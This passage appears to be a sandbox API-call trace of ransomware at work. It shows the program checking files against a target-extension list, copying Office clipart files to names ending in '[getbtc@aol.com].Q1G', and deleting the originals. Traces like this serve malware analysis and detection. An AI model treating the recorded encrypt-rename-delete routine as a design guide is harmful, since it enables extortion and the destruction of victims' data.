lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.199] lstrlenW (lpString=".doc") returned 4 [0055.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString=".docx") returned 5 [0055.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.199] lstrlenW (lpString=".pdf") returned 4 [0055.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString=".xls") returned 4 [0055.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.199] lstrlenW (lpString=".xlsx") returned 5 [0055.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.199] lstrlenW (lpString=".ppt") returned 4 [0055.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.200] lstrlenW (lpString=".zip") returned 4 [0055.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.200] lstrlenW (lpString=".rar") returned 4 [0055.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.200] lstrlenW (lpString=".bz2") returned 4 [0055.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.200] lstrlenW (lpString=".7z") returned 3 [0055.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.200] lstrlenW (lpString=".dbf") returned 4 [0055.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.200] lstrlenW (lpString=".1cd") returned 4 [0055.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 63 [0055.200] lstrlenW (lpString=".jpg") returned 4 [0055.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.200] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.200] lstrlenW (lpString="AN00914_.WMF") returned 12 [0055.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.201] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=10832) returned 1 [0055.201] CloseHandle (hObject=0x1d0) returned 1 [0055.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 0x20 [0055.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.201] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.202] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.202] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.202] GetLastError () returned 0x0 [0055.202] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0055.203] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0055.204] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.204] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.204] SetEndOfFile (hFile=0x214) returned 1 [0055.205] CloseHandle (hObject=0x214) returned 1 [0055.205] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.205] SetEndOfFile (hFile=0x1d0) returned 1 [0055.205] CloseHandle (hObject=0x1d0) returned 1 [0055.206] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.206] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0055.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.206] lstrlenW (lpString=".doc") returned 4 [0055.206] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.206] lstrlenW (lpString=".docx") returned 5 [0055.206] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.206] lstrlenW (lpString=".pdf") returned 4 [0055.206] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.206] lstrlenW (lpString=".xls") returned 4 [0055.206] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.206] lstrlenW (lpString=".xlsx") returned 5 [0055.206] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.206] lstrlenW (lpString=".ppt") returned 4 [0055.206] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.206] lstrlenW (lpString=".zip") returned 4 [0055.206] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.206] lstrlenW (lpString=".rar") returned 4 [0055.206] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.206] lstrlenW (lpString=".bz2") returned 4 [0055.206] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.206] lstrlenW (lpString=".7z") returned 3 [0055.206] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.207] lstrlenW (lpString=".dbf") returned 4 [0055.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.207] lstrlenW (lpString=".1cd") returned 4 [0055.207] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.207] lstrlenW (lpString=".jpg") returned 4 [0055.207] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.207] lstrlenW (lpString=".doc") returned 4 [0055.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString=".docx") returned 5 [0055.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.207] lstrlenW (lpString=".pdf") returned 4 [0055.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString=".xls") returned 4 [0055.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.207] lstrlenW (lpString=".xlsx") returned 5 [0055.207] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.207] lstrlenW (lpString=".ppt") returned 4 [0055.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.207] lstrlenW (lpString=".zip") returned 4 [0055.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.207] lstrlenW (lpString=".rar") returned 4 [0055.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString=".bz2") returned 4 [0055.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString=".7z") returned 3 [0055.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.208] lstrlenW (lpString=".dbf") returned 4 [0055.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.208] lstrlenW (lpString=".1cd") returned 4 [0055.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0055.208] lstrlenW (lpString=".jpg") returned 4 [0055.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.208] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.208] lstrlenW (lpString="AN00932_.WMF") returned 12 [0055.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.208] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=14428) returned 1 [0055.208] CloseHandle (hObject=0x1d0) returned 1 [0055.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 0x20 [0055.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.209] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.209] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.209] GetLastError () returned 0x0 [0055.209] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x385c, lpOverlapped=0x0) returned 1 [0055.211] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x3860, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x3860, lpOverlapped=0x0) returned 1 [0055.212] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.212] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.212] SetEndOfFile (hFile=0x214) returned 1 [0055.212] CloseHandle (hObject=0x214) returned 1 [0055.212] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.212] SetEndOfFile (hFile=0x1d0) returned 1 [0055.213] CloseHandle (hObject=0x1d0) returned 1 [0055.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf")) returned 1 [0055.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.213] lstrlenW (lpString=".doc") returned 4 [0055.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".docx") returned 5 [0055.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.214] lstrlenW (lpString=".pdf") returned 4 [0055.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".xls") returned 4 [0055.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.214] lstrlenW (lpString=".xlsx") returned 5 [0055.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.214] lstrlenW (lpString=".ppt") returned 4 [0055.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.214] lstrlenW (lpString=".zip") returned 4 [0055.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.214] lstrlenW (lpString=".rar") returned 4 [0055.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".bz2") returned 4 [0055.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".7z") returned 3 [0055.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.214] lstrlenW (lpString=".dbf") returned 4 [0055.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.214] lstrlenW (lpString=".1cd") returned 4 [0055.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.214] lstrlenW (lpString=".jpg") returned 4 [0055.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.214] lstrlenW (lpString=".doc") returned 4 [0055.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.214] lstrlenW (lpString=".docx") returned 5 [0055.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.214] lstrlenW (lpString=".pdf") returned 4 [0055.215] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.215] lstrlenW (lpString=".xls") returned 4 [0055.215] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.215] lstrlenW (lpString=".xlsx") returned 5 [0055.215] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.215] lstrlenW (lpString=".ppt") returned 4 [0055.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.215] lstrlenW (lpString=".zip") returned 4 [0055.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.215] lstrlenW (lpString=".rar") returned 4 [0055.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.215] lstrlenW (lpString=".bz2") returned 4 [0055.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.215] lstrlenW (lpString=".7z") returned 3 [0055.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.215] lstrlenW (lpString=".dbf") returned 4 [0055.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.215] lstrlenW (lpString=".1cd") returned 4 [0055.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF") returned 63 [0055.215] lstrlenW (lpString=".jpg") returned 4 [0055.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.215] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0055.215] lstrlenW (lpString="AN00965_.WMF") returned 12 [0055.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.216] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=7072) returned 1 [0055.216] CloseHandle (hObject=0x1d0) returned 1 [0055.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 0x20 [0055.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0055.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0055.216] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.216] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.216] GetLastError () returned 0x0 [0055.216] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1ba0, lpOverlapped=0x0) returned 1 [0055.218] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1bb0, lpOverlapped=0x0) returned 1 [0055.219] ReadFile (in: hFile=0x1d0, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.219] WriteFile (in: hFile=0x214, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.219] SetEndOfFile (hFile=0x214) returned 1 [0055.219] CloseHandle (hObject=0x214) returned 1 [0055.219] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.219] SetEndOfFile (hFile=0x1d0) returned 1 [0055.220] CloseHandle (hObject=0x1d0) returned 1 [0055.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0055.220] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0055.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.220] lstrlenW (lpString=".doc") returned 4 [0055.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.220] lstrlenW (lpString=".docx") returned 5 [0055.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.221] lstrlenW (lpString=".pdf") returned 4 [0055.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString=".xls") returned 4 [0055.221] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0055.221] lstrlenW (lpString=".xlsx") returned 5 [0055.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0055.221] lstrlenW (lpString=".ppt") returned 4 [0055.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.221] lstrlenW (lpString=".zip") returned 4 [0055.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0055.221] lstrlenW (lpString=".rar") returned 4 [0055.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString=".bz2") returned 4 [0055.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString=".7z") returned 3 [0055.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.221] lstrlenW (lpString=".dbf") returned 4 [0055.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.221] lstrlenW (lpString=".1cd") returned 4 [0055.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.221] lstrlenW (lpString=".jpg") returned 4 [0055.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00965_.WMF") returned 63 [0055.221] lstrlenW (lpString=".doc") returned 4 [0055.221] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0055.221] lstrlenW (lpString=".docx") returned 5 [0055.221] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0055.221] lstrlenW (lpString=".pdf") returned 4 [0055.221] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0055.222] lstrlenW (lpString=".xls") returned 4 